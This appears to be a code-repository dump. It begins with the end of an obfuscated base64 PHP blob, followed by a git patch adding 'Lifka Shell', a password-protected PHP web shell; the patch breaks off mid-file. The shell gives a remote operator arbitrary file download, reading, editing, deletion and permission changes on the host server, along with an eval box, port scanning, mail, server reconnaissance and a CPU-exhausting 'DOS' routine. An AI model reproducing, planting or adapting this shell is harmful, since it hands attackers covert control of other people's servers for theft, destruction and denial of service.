-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 -RD4+P8B"))); ?> \ No newline at end of file From e5261f8c74fc4e46814b49afcf9f8ea6a746ed9c Mon Sep 17 00:00:00 2001 From: Lifka Date: Sat, 9 Apr 2016 15:40:25 +0200 Subject: [PATCH 12/15] Add Lifka Shell --- lifkaS.php | 748 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 748 insertions(+) create mode 100644 lifkaS.php diff --git a/lifkaS.php b/lifkaS.php new file mode 100644 index 0000000..a291e95 --- /dev/null +++ b/lifkaS.php @@ -0,0 +1,748 @@ + "" ){ +$path_parts = pathinfo("$descargar"); +$entrypath=$path_parts["basename"]; +$name = "$descargar"; +$fp = fopen($name, 'rb'); +header("Content-Disposition: attachment; filename=$entrypath"); +header("Content-Length: " . filesize($name)); +fpassthru($fp); +exit;} +$scan = range("B","Z"); +$var1= $_SERVER['DOCUMENT_ROOT']; +$shelldir = $var1.$_SERVER['PHP_SELF']; +if ($opcion == 'tirar') { +$asda=str_repeat("99999999999999999999999999999999999999999999999999",99999); +for($i=0;$i<2;){ +$buff=bcpow($asda, '3', 2); +$buff=null; +exit();}} +$frpath=$_GET['borrar']; +if ($frpath <> "") { +if (is_dir($frpath)){ +$matches = glob($frpath . '/*.*'); +if ( is_array ( $matches ) ) { + foreach ( $matches as $filename) { + unlink ($filename); + rmdir("$frpath"); +echo ""; } } } + else{ +unlink ("$frpath"); +echo ""; +exit(0); }} +$opcion = $_GET[opcion]; +if ($opcion == 'php_info') { +echo '<== Volver'; +echo phpinfo(); +return 0;} +$nombre_s = 'Lifka Shell'; +$nombre_princi = 'LIFKA SHELL'; +$version = '1.0'; +if (md5($_POST['pass']) == $password) { +$_SESSION["login"] = 'ok'; +} + if ($_SESSION["login"] != 'ok') { + echo '
Pass:
'; +return 0; +} +exec('wget --help',$wget); +if ($wget) { +$wgete = 'On'; +} else { +$wgete = 'Off'; +} +if (get_magic_quotes_gpc() == "1" or get_magic_quotes_gpc() == "on") { +$magic = 'On'; +} else { +$magic = 'Off'; +} +exec("perl -h",$perl); +if ($perl) { +$perle = 'On'; +} else { +$perle = 'Off'; +} +$target = $_POST['target']; +$inicio = $_POST['inicio']; +$final = $_POST['final']; +$pathe = getcwd(); +if(ini_get('safe_mode') ){ +$safe = 'On'; +}else{ +$safe = 'Off'; +} +$curl_on = @function_exists('curl_version'); +if (@function_exists('mysql_connect')) { +$base = 'MySQL'; +} elseif(@function_exists('mssql_connect')) { +$base = $base.' MSSQL'; +} elseif(@function_exists('pg_connect')) { +$base = $base.' PostgreSQL'; +} elseif(@function_exists('ocilogon')) { +$base = $base.' Oracle'; +} +echo ' '.$nombre_s.' +
'.$nombre_princi.'

File manager | System info | Mail | DOS | Port scan | Eval | Encode/Decode | Logout

'; +if (isset($_GET['leer'])) { +header("Content-Type: application/octet-stream"); +header("Content-Disposition: attachment; filename=".basename($_GET['leer'])); +readfile($_GET['leer']); +echo '


'.$nombre_s.' '.$version.'
'; +exit(0);} + $editar=$_GET['editar']; + if ($editar <> "" ){ + $editar=realpath($editar); + $lines = file($editar); +echo '
Editar



+





'.$nombre_s.' '.$version.'
'; + $gardara=$_POST['gardara']; + $filepath=realpath($_POST['filepath']); + if ($gardara <> "") + { + $fp=fopen("$filepath","w+"); + fwrite ($fp,"") ; + fwrite ($fp,$gardara) ; + fclose($fp); + echo ""; + } +return 0; + } +function tamaño($size){ +if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} +elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} +elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} +else {$size = $size . " B";} +return $size;} +function permisos($file) +{ + $perms = fileperms($file); + if (($perms & 0xC000) == 0xC000) {$info = 's';} + elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} + elseif (($perms & 0x8000) == 0x8000) {$info = '-';} + elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} + elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} + elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} + elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} + else {$info = 'u';} + $info .= (($perms & 0x0100) ? 'r' : '-'); + $info .= (($perms & 0x0080) ? 'w' : '-'); + $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); + $info .= (($perms & 0x0020) ? 'r' : '-'); + $info .= (($perms & 0x0010) ? 'w' : '-'); + $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); + $info .= (($perms & 0x0004) ? 'r' : '-'); + $info .= (($perms & 0x0002) ? 'w' : '-'); + $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); + return $info; +} +$fchmod=$_GET['fchmod']; +if ($fchmod <> "" ){ +$fchmod=realpath($fchmod); +echo "

File: $fchmod

Chmod :


'; +?> + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Calculate perms
PermsOwnerGroupOther
Read
Write
Execute
+
+
+ ""){ +chmod ($fchmod , $chmod0); +}else { +echo "No se permite cambiar Chmod"; +}} +echo '

'.$nombre_s.' '.$version.'
'; +exit(); +} +if ($opcion == 'info_sistema') { +echo '
System info

  PHP info
  Sistema operativo: '.php_uname().'
  Server: '.$_SERVER['SERVER_SOFTWARE'].'
  Versionn PHP: '.PHP_VERSION.'
  Espacio: '.tamaño(diskfreespace(getcwd())).'/'.tamaño(disk_total_space(getcwd())).'
  Host: '.$_SERVER['HTTP_HOST'].'
  IP: '.$_SERVER['SERVER_ADDR'].'
